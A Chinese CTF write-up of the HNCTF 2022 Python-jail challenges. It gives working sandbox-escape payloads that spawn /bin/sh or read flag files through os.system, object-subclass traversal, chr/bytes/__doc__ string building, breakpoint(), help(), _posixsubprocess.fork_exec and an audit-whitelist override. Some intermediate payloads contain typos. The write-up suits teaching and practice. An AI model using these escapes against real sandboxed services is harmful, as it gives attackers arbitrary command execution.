初识沙箱逃逸
初识沙箱逃逸
[HNCTF 2022 Week1]calc_jail_beginner_level(JAIL 沙箱逃逸)
给了源码
#Your goal is to read ./flag.txt
#You can use these payload liked `__import__('os').system('cat ./flag.txt')` or `print(open('/flag.txt').read())`
WELCOME = '''
_ ______ _ _ _ _
| | | ____| (_) | | (_) |
| |__ | |__ __ _ _ _ __ _ __ ___ _ __ | | __ _ _| |
| '_ \| __| / _` | | '_ \| '_ \ / _ \ '__| _ | |/ _` | | |
| |_) | |___| (_| | | | | | | | | __/ | | |__| | (_| | | |
|_.__/|______\__, |_|_| |_|_| |_|\___|_| \____/ \__,_|_|_|
__/ |
|___/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))
什么也没有过滤 并且给了提示 可以使用上面两种payload
这里尝试使用交互式操作
__import__('os').system('sh')
解释一下
__import__('os'):这是一个使用内置函数 __import__ 来导入 Python 模块 os 的代码。os 模块提供了与操作系统交互的功能,例如执行系统命令、文件操作等。
os.system('sh'):在导入了 os 模块后,该代码执行了 os.system('sh')。os.system() 函数是用于执行系统命令的,它接受一个字符串参数,将其中的命令在终端或命令提示符中执行。在这里,它试图执行命令 sh。
sh 是一个常用的 Unix/Linux 命令行解释器(shell),它是命令行的一个交互式解释器,允许用户输入命令并执行。
[HNCTF 2022 Week1]calc_jail_beginner_level1(JAIL 沙箱逃逸 chr() SSTI注入)
也是给出了源码 但是在其中绕过了单引号、双引号、反斜杠、反引号和i、b两个字母
方法一:
下面使用一种方法:python模板注入
简称SSTI
python中的元组、列表、字典、字符串等都是对象 可以用过__class__
这个函数来进行查看 可以看到父类是object
可以说任何类的父类都是object
__base__
是返回这个对象所属类的父类 __mro__
是以元组的形式返回与该对象所属类相关的所有类 __bases__
是以元组的形式返回这个对象
所属类的父类
__subclasses__()
别丢括号这个函数会返回当前吗父类下的所有子类
因此我们可以利用这个函数 查看object类的所有子类 从中找到我们可以利用的类来进行rce(远程命令执行) 当我们想使用具体的类的时候 加上查询结果中对应的下标索引就好
但是在这题中字母b
是被ban掉的 因此我们可以使用getattr()和chr()两个函数来进行拼接和执行函数
学习一下getsttr()函数:
描述:
getsttr()用于返回一个对象属性值
参数:
getattr(object, name[, default])
参数:
- object – 对象。
- name – 字符串,对象属性。
- default – 默认返回值,如果不提供该参数,在没有对应属性时,将触发 AttributeError。
我们可以使用chr(hex)替换掉被ban掉的字母 这样就可以组成我们需要的函数 getattr()函数可以帮助我们实现运行使用chr()替换的函数
下面是对于().__class__.__base__.__subclasses__()
使用chr()和getattr()函数的渐变过程
注意在转化的时候 单引号需要进行省略
getattr(().__class__, '__base__').__subclasses__()
getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)).__subclasses__()
getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), '__subclasses__')()
getattr(getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()
我们尝试在题目环境中输入这段命令 查看返回的object父类中包含的所有子类
Answer: [<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'types.UnionType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class '_contextvars.Context'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Token'>, <class 'Token.MISSING'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]
在下标索引为-4
的位置看到了<class 'os._wrap_close'>
可以构造payload
().__class__.__base__.__subclasses__()[-4].__init__.__global__['sysytem']('sh')
整体转换一下
getattr(getattr(getattr(getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()[-4], chr(95)+chr(95)+chr(105)+chr(110)+chr(105)+chr(116)+chr(95)+chr(95)), chr(95)+chr(95)+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+chr(95)+chr(95))[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(115)+chr(104))
进入sh交互模式 找到flag
NSSCTF{aeb2432a-8fdd-4c36-81d6-8a60bf3d8212}
方法二:
__builtins__
模块用于查看python内部的内置变量和内置函数
__builtins__
是对builtins
的引用 在任何地方使用builtins
都必须import 但是使用__builtins__
不需要使用import
写出payload
__builtins__.__import__('os').system('cat flag')
调用了os模块的system函数(用于在操作系统的 shell 中执行命令。它接收一个字符串参数 command
,表示要执行的系统命令,然后将该命令传递给操作系统的 shell 进行执行) 执行cat flag
命令 直接读取flag文件的值
在这之前还要通过input()函数 输入上述payload 因为环境ban掉了字母i
因此我们还是使用chr()函数 替换掉input()函数
eval(chr(0x65)+chr(0x78)+chr(0x65)+chr(0x63)+chr(0x28)+chr(0x69)+chr(0x6e)+chr(0x70)+chr(0x75)+chr(0x74)+chr(0x28)+chr(0x29)+chr(0x29))
# eval(exec(input()))
'''
exec()的作用
动态执行代码:exec() 允许在程序运行时根据需要执行动态生成的 Python 代码。这对于动态创建函数、类、变量等非常有用。
动态导入模块:使用 exec() 可以实现在运行时动态导入模块,而不是在代码中固定导入。
执行用户输入的代码:exec() 可以用于执行用户输入的 Python 代码,允许在程序运行时根据用户的输入执行相应的操作。
脚本执行:有时候,你可能希望从文件或网络获取一段 Python 代码,并在程序中执行它。exec() 允许你动态地执行从外部来源获取的代码。
'''
当然这个payload的前提是 知道flag文件的位置和名字
方法三
同样 在知道flag的位置和名字的时候 我们可以直接open并read到flag
open(chr(102)+chr(108)+chr(97)+chr(103)).read()
# open('flag').read()
[HNCTF 2022 Week1]calc_jail_beginner_level2(JAIL 参数逃逸)
这一关是限制了输入命令的长度为13个字符 13个字符 正好eval(input())
这样我们在想输入什么命令就没有限制了
NSSCTF{c6bdf2aa-f85f-49cf-ac71-b892ad007a47}
[HNCTF 2022 Week1]calc_jail_beginner_level2.5(JAIL breakpoint())
这次是直接限制了exec eval input
同时payload的长度限制在了13位
这里使用一个叫做breakpoint()的函数 可以进入一个Pdb交互界面
pdb 模块定义了一个交互式源代码调试器,用于Python 程序。 它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意Python 代码。 它还支持事后调试,可以在程序控制下调用。 调试器是可扩展的——调试器实际被定义为 Pdb 类。
之后在输入__import__('os').system('sh')
就可以进入shell了
得到flag:NSSCTF{69432ccf-eb26-4236-a1f0-a78b02a8ae71}
[HNCTF 2022 Week1]calc_jail_beginner_level3(JAIL help())
这关相比level2 限制的字数更少 payload不能超过7个字符
这边是使用help()函数进行rce
输入help()之后也会进入一个交互界面
按照上面提到的方式 先输入modules
查看所有的模块 随便选一个输入 比如看到的os
modules
os
!ls
!cat flag
NSSCTF{4e28ebac-4a64-4205-8853-b49286703415}
[HNCTF 2022 WEEK2]calc_jail_beginner_level4(JAIL、bytes([]).decode() 、__doc__
)
查看源码
将'__loader__', '__import__', 'compile', 'eval', 'exec', 'chr'
等函数都ban掉了 后面又将单引号、双引号、反斜杠、反引号给ban了
因为ban掉了__import__
之前提到的help()和breakpoint()都没有办法使用 但是并没有ban掉其余的字母
方法一:
尝试使用之前的SSTI注入 先查询object类下的子类 查看可以使用的模块
().__class__.__base__.__subclasses__()
并没有过滤模块 os模块还可以使用 虽然禁用了chr()
函数 但是bytes()函数也可以构造字符串 下面是转化过程:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')
转化为
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115,121,115,116,101,109]).decode()](bytes([115,104]).decode())
方法二:
同样是使用bytes()函数 猜测flag文件的位置和名字 可以直接对 open('flag').read()
进行转化 直接读取flag
open(bytes([102,108,97,103]).decode()).read()
方法三:
像一些默认类,如:str、dict、list等,都会有相应的文档。这时可以直接从__doc__
里面去找,用索引的方式获得想要的字符,并拼接再一起,得到想要的字符串。
在这里 我们使用列表这个类来查找字符
print([].__doc__)
'''
输出:
Built-in mutable sequence.
If no argument is given, the constructor creates a new empty list.
The argument must be an iterable if specified.
'''
使用find命令查找字符下标
print([].__doc__.find('s'))
'''
输出:
17
'''
那么可以使用下标进行拼接system和sh函数
# system
[].__doc__[17]+[].__doc__[87]+[].__doc__[17]+[].__doc__[4]+[].__doc__[15]+[].__doc__[9]
# sh
[].__doc__[17]+[].__doc__[54]
下面是转换过程
().__class__.__base__.subclasses__()[-4].__init__.__globals__['system'].('sh')
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[[].__doc__[17]+[].__doc__[87]+[].__doc__[17]+[].__doc__[4]+[].__doc__[15]+[].__doc__[9]]([].__doc__[17]+[].__doc__[54])
[HNCTF 2022 WEEK2]calc_jail_beginner_level4.0.5(JAIL)
在题干处给出ban掉了__loader__,__import__,compile,eval,exec,chr,input,locals,globals and
,”,’ `
同level4 三种方法任选其一即可
NSSCTF{58d8ebf7-2162-4bdb-a2a6-98515e0871bc}
[HNCTF 2022 WEEK2]calc_jail_beginner_level4.1(JAIL 下标索引 bytes())
在题干处给出提示 ban掉了__loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and
,”,’`
与上两题不同 这次将bytes
也ban掉了 第二种和第一种方法就没法使用了
但是第三种方法还是可以使用的
这里仿照第一种方法的形式 先查看object下的所有子类 发现bytes
的下标索引是6 因此可以进行利用
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115,121,115,116,101,109]).decode()](bytes([115,104]).decode())
转化为
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115,121,115,116,101,109]).decode()](().__class__.__base__.__subclasses__()[6]([115,104]).decode())
NSSCTF{006582c3-2430-49d8-9cee-b631c7aed4dc}
[HNCTF 2022 WEEK2]calc_jail_beginner_level4.2(JAIL)
同level4.1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115,121,115,116,101,109]).decode()](().__class__.__base__.__subclasses__()[6]([115,104]).decode())
NSSCTF{ab748a53-bafc-41cb-bb20-b22b025fdb8e}
[HNCTF 2022 WEEK2]calc_jail_beginner_level4.3(JAIL str().join拼接字符)
这里看题干知道 除了ban掉上一题的内容还ban掉了+
其实使用上一题的payload是完全没问题的
禁用+
但是我们还可以使用john()
函数进行拼接
''.join(['s', 'y', 's', 't', 'e', 'm'])
这样就能得到system 但是双引号也被ban掉了 我们可以使用str()
这个函数 就相当于一个双引号
str().join(['s', 'y', 's', 't', 'e', 'm'])
由此可以得到payload
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[[].__doc__[17]+[].__doc__[87]+[].__doc__[17]+[].__doc__[4]+[].__doc__[15]+[].__doc__[9]]([].__doc__[17]+[].__doc__[54])
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([[].__doc__[17],[].__doc__[87],[].__doc__[17],[].__doc__[4],[].__doc__[15],[].__doc__[9]])](str().join([[].__doc__[17],[].__doc__[54]]))
NSSCTF{b13441a1-e6e1-4ab0-968c-f80170f5925f}
[HNCTF 2022 WEEK2]calc_jail_beginner_level5(dir())
并没有ban掉什么内容 提示flag在dir()里面
其实直接使用最开始的SSTI注入 就可以直接进入交互模式
().__class__.__base__.__subclasses__()[-6].__init__.__globals__['system']('sh')
或者直接进行rce
__import__('os').system('cat flag')
但是这里我们选择使用dir()来解决题目
发现encode
函数可以使用
my_flag.flag_level5.encode()
来看一下源码
[HNCTF 2022 WEEK2]calc_jail_beginner_level5.1
同level5 只是这次有了一些黑名单的过滤
可以使用SSTI注入进入交互模式 也可以直接使用dir()拿到flag
NSSCTF{6e6ce512-08e0-4792-9d14-cb41370382b2}
[HNCTF 2022 WEEK3]calc_jail_beginner_level6(JAIL _posixsubprocess.fork_exec lamba表达式)
这次是给出了白名单 只有在白名单中的函数才可以使用 builtins.input,builtins.input/result,exec,compile
方法一:
这里需要使用_posixsubprocess.fork_exec
首先将_posixsubprocess
类导进去 import
使用不了 但是__builtins__
还是可以使用的
__builtins__['__loader__'].load_module('_posixsubprocess')
或:
__loader__.load_module('_posixsubprocess')
下面是完整的payload
import os
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)
进入shell界面 读取flag就好(虽然会在shell和python界面来回切换)
NSSCTF{a7586393-169d-4daf-abcf-db107c89c33a}
方法二:
exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('/bin/sh')")
[HNCTF 2022 WEEK3]calc_jail_beginner_level6.1(海象运算符、列表、无限迭代器)
给了部分源码
这次只能进行一次代码执行操作 使用到一个运算符海象运算符
:=
海象运算符的优势在于能在不允许赋值的地方(如if语句的条件表达式中)使用赋值变量。海象运算符左侧有个标识符,赋值表达式的值等于分配给这个标识符的值
[os := __import__('os'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), _posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)]
上一步就是实现level6的payload 先导入os模块 再导入_posixsubprocess
模块 在使用_posixsubprocess
模块
但是shell只显示一次shell 就退掉了 因此要使用无线迭代器itertools
[os := __import__('os'), itertools := __loader__.load_module('itertools'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), [_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in itertools.count(0)]]
输入payload之后 会不停的重放/bin/sh 说是无限迭代器 但其实也有次数 手速要快 输入 ls cat flag
即可得到flag
NSSCTF{0047e0c3-4c98-4795-aa7f-6e522649c3d6}
[HNCTF 2022 WEEK3]calc_jail_beginner_level7(函数装饰器、类的定义)
给了一个窗口 先查看黑名单
输入E
可以输入多行命令 但是要求结尾必须是--HNCTF
这时候可以使用函数装饰器@
和类的定义
@exec
@input
class A: pass
前两个是函数装饰器: 把带有@的函数放到某个函数的定义处,相当于执行了一次@后的函数
后面是类定义 这里的pass
主要作用是占据位置 让代码整体完整 定义空类会报错
成功进入main函数主体 在执行命令 进入shell即可
__import__('os').system('sh')
读到flag
下面是源码